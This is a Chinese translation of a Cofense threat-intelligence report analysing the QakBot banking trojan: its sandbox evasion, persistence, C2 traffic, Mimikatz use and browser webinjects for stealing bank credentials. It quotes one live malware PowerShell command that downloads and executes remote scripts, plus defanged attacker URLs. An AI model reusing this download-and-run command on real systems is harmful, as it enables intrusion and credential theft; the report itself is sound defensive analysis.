仔细研究为什么QakBot恶意软件如此危险

2019-02-28 14:08:337078人阅读

Cofense Intelligence ™最近报告了一项分发QakBot恶意软件的网络钓鱼活动。QakBot感染是一个重大威胁,因此请务必与SOC分析人员分享今天的后续帖子。

我们将深入探讨QakBot用于阻碍检测和手动分析的新技术。Cofense™看到这种复杂的银行木马通过Geodo/Emotet僵尸网络分发,使用多种工具来覆盖其痕迹并窃取凭证。开发它的威胁行为者非常具有创造性和攻击性。

面对这种不断变化的威胁时,不能拥有弱的管理密码。为识别和预防QakBot,在自动威胁检测系统出现故障时,在整个运营中培训员工并制定计划B是值得的。

一、细节

Cofense Intelligence™最近报道了分发QakBot的Geodo/Emotet僵尸网络垃圾邮件活动。QakBot是一种复杂的银行木马,在某些情况下,利用先进的新技术来规避检测并保护自己免受人工分析。该过程涉及广泛的侦察和信息收集,它被QakBot公开并用于自我传播。自我传播的二进制文件保持与原始文件拥有相同的保护级别,使QakBot感染成为一个重大威胁。

二、建立立足点

在最近的攻击行动中,当QakBot首次运行时,它会将原始二进制文件替换为合法Windows计算器应用程序calc.exe的副本。

仔细研究为什么QakBot恶意软件如此危险

图1 – 覆盖命令

然后,它使用多种方法检查是否存在虚拟化软件,如VirtualBox,CWSandbox和VMware。这些方法包括:

· 检查已安装的程序

· 将进程名与预定义的黑名单进行比较

· 检查注册表项

· 检查硬件信息

QakBot还通过检查可执行文件是否已重命名为研究人员常用的文件名(如mlwr_smpl,sample或artifact.exe)来尝试确定它是否在分析环境中。

如果未检测到虚拟化软件或分析环境,QakBot会将原始可执行文件复制到%appdata%\ Microsoft \目录中的一个文件夹中。此可执行文件使用有效证书签名的形式附加伪装层,如图2所示。

仔细研究为什么QakBot恶意软件如此危险

图2 – 合法证书

证书签名者Vercoe IT Ltd是一家相对较新的公司,其签名仅在2019年1月下旬开始使用,仅用于QakBot可执行文件。鉴于QakBot有使用可疑公司证书签署其二进制文件的历史,所以Vercoe IT公司的证书值得怀疑。

一旦可执行文件到位,QakBot就会通过两种途径来建立其持久性,设置注册表项在启动时运行可执行文件,以及一个每5个小时运行一次可执行文件的任务,如图3所示。

仔细研究为什么QakBot恶意软件如此危险

图3 – 持久性机制 – 注册表和计划任务

执行后,QakBot启动explorer.exe进程并将其代码注入进程的内存。然后,可以此进程可以用于生成代码并注入其他进程(如svchost.exe)。在某些情况下,QakBot使用的双持久性机制可以执行其他进程,如图4所示。

仔细研究为什么QakBot恶意软件如此危险

图4 – 衍生的进程

三、首次网络连接

在执行进一步操作之前,QakBot通常会检查受感染计算机的IP地址或连接速度。通过hxxp://www[.]ip-adress[.]com检查IP地址,可以通过从hxxps://cdn[.]speedof[.]me/sample4096k[.]bin?r=0[.]%u下载文件来检查速度。该信息可以用作检查分析环境的另一种方法,并包含在最初传送的一般信息中。

一旦通过了必要的测试,QakBot就会开始与其主要命令和控制服务器(C2)进行通信。这些通信主要包括发送到直接IP地址或受感染域名的HTTPS POST加密数据。为了传输大量数据,QakBot还有一个带有凭证的硬编码FTP服务器列表,它将尝试访问并上传包含受感染主机其他信息的文件。如果这些FTP服务器不可用或凭证不正确,QakBot将默认返回使用HTTPS POST来传输信息并进行通信。尽管FTP服务器是首选的C2,但与其他C2通信的内容没有明显差异。在QakBot与其C2建立连接之后,如果有更新的版本,它将尝试“更新”自身。更新只包括下载新的可执行文件来替换磁盘上的可执行文件。

QakBot安排这些签到并使用“更新的”二进制文件更改磁盘上文件的哈希值,从而有助于避免检测。每个新二进制文件都会重新编译、重新加密,并在下载之前在服务器端修改部分数据。这些更新会明显改变二进制文件的结构,而不会改变其功能。QakBot二进制文件的预定更新可确保磁盘上的文件在任意长的时间段内都不会相同。缺少一致的二进制文件可防止反病毒公司生成静态签名,以便在不同的端点上使用以检测相同的恶意软件。虽然这种策略不会长期阻止检测,但它通常会留下足够的时间来生成和下载新的更新和未检测到的可执行文件。

四、深入侦察

QakBot的C2中提供的有效载荷还包括可用于进一步支持QakBot感染的脚本。其中一个下载的脚本如图5所示。

powershell.exe “IEX (New-Object Net.WebClient).DownloadString(‘hxxps://onedrive[.]live[.]com/download.aspx?cid=CE32720D26AED2D5&authKey=%21AJUHblbcwLEzrrA&resid=CE32720D26AED2D5%21110&ithint=%2Eps1’);IEX (New-Object Net.WebClient).DownloadString(‘hxxps://onedrive[.]live[.]com/download.aspx?cid=CE32720D26AED2D5&authKey=%21AHHhrhk9od5OCBU&resid=CE32720D26AED2D5%21111&ithint=%2Eps1’); Invoke-MainWorker -Command ‘%s'”

图5 –  PowerShell命令

这些脚本是Invoke-Mimikatz.ps1的修改版本,Invoke-Mimikatz.ps1使用PowerShell Empire框架创建,用于解码嵌入的Mimikatz二进制文件并将其直接注入内存,如图6所示。

仔细研究为什么QakBot恶意软件如此危险

图6 – 编码的Mimikatz二进制文件

Mimikatz是一种开源凭证窃取工具,其功能远远超过普通凭证窃取程序。一些值得注意的功能包括执行“pass the hash”攻击,收集大量信息以及窃取证书。 Mimikatz还可以为威胁行为者提供额外的横向移动能力,补充QakBot预先存在的自传播功能。QakBot通过共享网络驱动器、可移动媒体、FTP服务器以及某些情况下的SMB传播自身的副本进行自我传播。它使用来自多个来源(包括电子邮件客户端和Mimikatz)的窃取凭证访问这些位置。QakBot还将使用常用用户名和密码列表来尝试暴力破解访问这些受保护的位置。

五、作为银行木马

QakBot的持久性、检测规避、自我传播和信息收集都是其主要目标的前兆——充当银行木马。一旦初始检查通过并且被盗的凭证被泄露,QakBot将下载其他配置数据。下载此数据后不久,图7中显示的文件与可执行文件位于同一文件夹中。

仔细研究为什么QakBot恶意软件如此危险

图7 – 磁盘上留下的文件

虽然其中一些文件似乎具有适当的.dll文件名,但它们实际上是加密数据文件,用作Web注入和日志记录过程的一部分。这些文件的大小和内容经常变化,可能会起到欺骗分析人员的目的。

六、注入源Injection Sources

当在受感染计算机上的浏览器中访问某些网站时,会将适当的代码片段“注入”到Web浏览器中显示的页面,如图8所示。

仔细研究为什么QakBot恶意软件如此危险

图8: AT&T的注入脚本

恶意软件使用图8中较小的脚本来触发下载更大的webinject,该webinject被加载到浏览器中,就好像它是正常内容一样。该脚本将从hxxps://webcoremetrics[.]com/wbj/att/下载webinject文件ATT.js。下载的webinject是43kb,几乎是原始注入脚本的100倍,并允许威胁行为者完全控制浏览器显示的网页内容。这个webinject的配置部分如图9所示,详细介绍了它的一些功能,并由威胁行为者为添加过注释。

仔细研究为什么QakBot恶意软件如此危险

图9: ATT.js的配置部分,带有英语和俄语注释

此类型的设置是银行特洛伊木马的典型。事实上,Dreambot、IcedID和QakBot都使用相同的变量、混淆方法,甚至相同的身份验证密钥来下载他们的一些webinjects。其中一些常见变量和共享密钥可以在图10中看到。特别是pkey值很有意思,因为它在所有三个银行木马中都是一致的,并且也用作图9中所示的配置数据的一部分。

仔细研究为什么QakBot恶意软件如此危险

图10: 用于下载webinjects的共享变量

包括与其他银行木马共享的webinjects,QakBot使用三种不同类型的webinjects。第二种使用类似的方法添加较小的脚本下载另一个更大的webinject。它使用恶意JavaScript中常见的混淆方法,并且去混淆时相对简单。一些目标信息可以在图11中看到。

仔细研究为什么QakBot恶意软件如此危险

图11: 第二个webinject类型所针对的数据

QakBot使用的第三种webinject明显不同,它允许来自威胁行为者更直接的交互。QakBot将监控Web浏览器以查看他们是否正在访问一组网站,如果访问了其中一个网站,QakBot将向浏览器注入其他代码。这个片段的不寻常之处在于,它不是简单地下载一个额外的webinject,而是发送一个HTTPS POST,如图12所示,带有访问过的网页的相关信息。

仔细研究为什么QakBot恶意软件如此危险

图12: 通过poll方法进行初始通联

图12中POST的第一个参数“m”表示通信类型。该参数可以具有不同的值,具体取决于C2和网页,在本例中它向C2指示QakBot正在初始化通信和请求数据。 “b”值与图8中的botid相同,“q”定义访问哪个网页。对初始化POST的响应是一个特殊的html文件。在这个html文件的底部有若干部分,如图13所示。

仔细研究为什么QakBot恶意软件如此危险

图13: HTML文件部分

HTML文件的第一部分与原始脚本webinject一起注入浏览器。后续每部分以“–EOF–”为分界线。底部配置部分中列出的随机命名变量对应于HTML部分中的变量名。其中每个都具有默认的true / false值,并且具有与原始注入脚本中的变量对应的非随机变量名。然后,登录页面将显示给受害者并请求其凭证。如果受害者输入他们的凭证,注入的脚本将联系C2并提供输入的信息,如图14所示。

仔细研究为什么QakBot恶意软件如此危险

图14: 传输凭证

然后C2将以“poll”响应,在此上下文中类似于“等待”命令。此后,QakBot客户端将尝试每0.5秒向C2发送一次“poll”POST,如图15所示。

仔细研究为什么QakBot恶意软件如此危险

图15: 从客户端发送的poll POST

来自客户端的这些“poll”POST中的每一个都对应于来自C2的另一个“poll”响应,从而延长了对话。一旦C2处理了原始表单输入(可能通过尝试使用凭证登录),它将使用另一个命令响应,如图16所示。

仔细研究为什么QakBot恶意软件如此危险

图16: C2的最终响应

此响应可以是许多内容,脚本可以处理20多个基本命令,例如错误消息,电话信息请求,其他“安全问题”,“破坏”页面上显示的信息的命令,或者提示重新输入图17中的凭据。

仔细研究为什么QakBot恶意软件如此危险

图17: 返回错误时产生的结果页面

图13底部所示的配置数据可以与这些命令一起使用,以仅显示威胁行为者或其自动化确定与给定个人相关的页面部分。这种“分段”行为是不寻常的,并没有被其他主要银行特洛伊木马使用。它允许威胁行为者与登录到网站的受感染端点保持基本持续的通联,并提供高度定制的webinject来窃取特定信息。对webinject控件使用不同的C2也可提供基础架构弹性,并可根据Internet浏览器使用情况对端点进行分类。

七、影响

QakBot对大型机构来说是一个重大威胁,因为它使用了多种方法来传播自身,在避免检测和自动分析方面的相对成功的尝试,以及对受密码保护位置的暴力攻击。最近使用Mimikatz表明,QakBot背后的威胁行为者不仅愿意积极地追求信息和证书,而且还愿意使用其他工具。

使用多个凭证窃取工具并从网络内部使用弱密码暴力攻击确信任何机构都有薄弱的管理密码。为了识别和预防该威胁,机构需要采取多种方法,例如全面培训员工以提高安全性,制定自动化系统无法检测到威胁的程序,并保持内部网络的持续警惕。


本文翻译自:https://cofense.com/closer-look-qakbot-malware-dangerous/

翻译作者:TRex  原文地址:https://www.4hou.com/web/16367.html

0
现金券
0
兑换券
立即领取
领取成功